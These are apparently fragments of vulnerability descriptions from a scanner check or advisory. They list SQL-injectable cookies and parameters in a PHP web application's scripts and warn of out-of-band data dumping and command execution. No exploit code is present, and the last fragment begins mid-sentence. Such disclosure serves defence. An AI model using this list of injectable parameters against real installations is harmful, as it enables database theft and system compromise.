  - The vulnerability is a time-based SQL injection that can be exploited by
    un-authenticated users via an HTTP GET request and affects the logout.php
    and the cookie parameter 'session_id'.

  - Input passed via 'group_id' cookie to side.php script, 'user_id' cookie to
    header.php script, 'tool_list' parameter to module/tool_all/select_tool.php
    script, 'hosts_cacti' array parameter to module/admin_device/index.php script,
    'user_name' parameter to module/admin_user/add_modify_user.php script, 'term'
    parameter to module/admin_group/search.php script and 'user_name' parameter to
    module/admin_user/add_modify_user.php script is not sufficiently validated.");

  attackers to e.g dump database data out to a malicious server, using an
  out-of-band technique, such as select_loadfile(), conduct SQL Injection
  attacks and execute arbitrary commands on affected system.");
